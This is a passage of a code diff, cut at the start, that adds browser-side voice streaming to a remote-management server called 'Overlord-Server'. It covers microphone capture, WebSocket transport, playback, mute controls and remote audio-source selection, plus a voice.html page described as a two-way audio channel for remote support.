floatToInt16(downsampled); + + ws.send(pcm16.buffer); + }; +} + +function stopMicCapture() { + if (processorNode) { + processorNode.disconnect(); + processorNode.onaudioprocess = null; + processorNode = null; + } + if (sourceNode) { + sourceNode.disconnect(); + sourceNode = null; + } + if (captureAudioCtx) { + captureAudioCtx.close().catch(() => {}); + captureAudioCtx = null; + } + if (playProcessorNode) { + playProcessorNode.disconnect(); + playProcessorNode.onaudioprocess = null; + playProcessorNode = null; + } + if (playAudioCtx) { + playAudioCtx.close().catch(() => {}); + playAudioCtx = null; + } + stopLevelLoop(); + clearPlaybackQueue(); + if (mediaStream) { + mediaStream.getTracks().forEach((t) => t.stop()); + mediaStream = null; + } +} + +function updateMuteButtons() { + if (muteSelfBtn) { + muteSelfBtn.innerHTML = selfMuted + ? ' Unmute Me' + : ' Mute Me'; + } + if (muteRemoteBtn) { + muteRemoteBtn.innerHTML = remoteMuted + ? ' Unmute Them' + : ' Mute Them'; + } +} + +async function connectVoice() { + if (ws && ws.readyState === WebSocket.OPEN) return; + + // Start each new session with both directions muted by default. + selfMuted = true; + remoteMuted = true; + clearPlaybackQueue(); + startLevelLoop(); + updateMuteButtons(); + + const proto = window.location.protocol === "https:" ? "wss" : "ws"; + ws = new WebSocket(`${proto}://${window.location.host}/api/clients/${encodeURIComponent(clientId)}/voice/ws`); + ws.binaryType = "arraybuffer"; + + ws.onopen = async () => { + setStatus("Connecting", "border-blue-700 bg-blue-900/40 text-blue-100"); + connectBtn.disabled = true; + disconnectBtn.disabled = false; + try { + await startMicCapture(); + initPlaybackEngine(); + const chosenSource = sourceSelect?.value || "default"; + ws.send(JSON.stringify({ type: "start", source: chosenSource })); + } catch { + alert("Microphone access denied or unavailable."); + disconnectVoice(); + } + }; + + ws.onmessage = (ev) => { + if (typeof ev.data === "string") { + try { + const msg = JSON.parse(ev.data); + if (msg?.type === "status") { + if (msg.status === "offline") { + setStatus("Client Offline", "border-amber-700 bg-amber-900/30 text-amber-200"); + } else if (msg.status === "connected") { + setStatus("Connected", "border-emerald-700 bg-emerald-900/40 text-emerald-100"); + } else if (msg.status === "error") { + setStatus("Voice Error", "border-red-700 bg-red-900/40 text-red-100"); + } + } + } catch {} + return; + } + + const bytes = new Uint8Array(ev.data); + if (bytes.byteLength > 1) { + appendPlaybackPcm(bytes); + } + }; + + ws.onclose = () => { + stopMicCapture(); + connectBtn.disabled = false; + disconnectBtn.disabled = true; + setStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300"); + }; + + ws.onerror = () => { + setStatus("Error", "border-red-700 bg-red-900/40 text-red-100"); + }; +} + +function disconnectVoice() { + stopMicCapture(); + if (ws) { + try { + ws.send(JSON.stringify({ type: "stop" })); + } catch {} + try { + ws.close(); + } catch {} + ws = null; + } + connectBtn.disabled = false; + disconnectBtn.disabled = true; + setStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300"); +} + +async function loadCapabilities() { + setStatus("Checking", "border-blue-700 bg-blue-900/40 text-blue-100"); + const result = await fetchVoiceCapabilities(clientId); + const caps = result.capabilities; + if (!result.ok || !caps?.available) { + setStatus("Voice Unavailable", "border-amber-700 bg-amber-900/30 text-amber-200"); + connectBtn.disabled = true; + const message = result.error || caps?.detail || "Voice support is unavailable on this client."; + alert(message); + return; + } + + const sources = Array.isArray(caps.sources) && caps.sources.length > 0 ? caps.sources : ["default"]; + const defaultSource = caps.defaultSource && sources.includes(caps.defaultSource) ? caps.defaultSource : sources[0]; + + if (sourceSelect) { + sourceSelect.innerHTML = ""; + for (const source of sources) { + const option = document.createElement("option"); + option.value = source; + option.textContent = sourceLabel(source); + sourceSelect.appendChild(option); + } + sourceSelect.value = defaultSource; + } + + setStatus("Ready", "border-slate-700 bg-slate-800 text-slate-300"); +} + +connectBtn?.addEventListener("click", connectVoice); +disconnectBtn?.addEventListener("click", disconnectVoice); +muteSelfBtn?.addEventListener("click", () => { + selfMuted = !selfMuted; + updateMuteButtons(); +}); +muteRemoteBtn?.addEventListener("click", () => { + remoteMuted = !remoteMuted; + if (remoteMuted) { + clearPlaybackQueue(); + } + updateMuteButtons(); +}); +window.addEventListener("beforeunload", disconnectVoice); + +updateMuteButtons(); +drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)"); +drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)"); +loadCapabilities(); diff --git a/Overlord-Server/public/voice.html b/Overlord-Server/public/voice.html new file mode 100644 index 0000000..6fff3c5 --- /dev/null +++ b/Overlord-Server/public/voice.html @@ -0,0 +1,70 @@ + + +
+ + +Live two-way audio channel for remote support.
+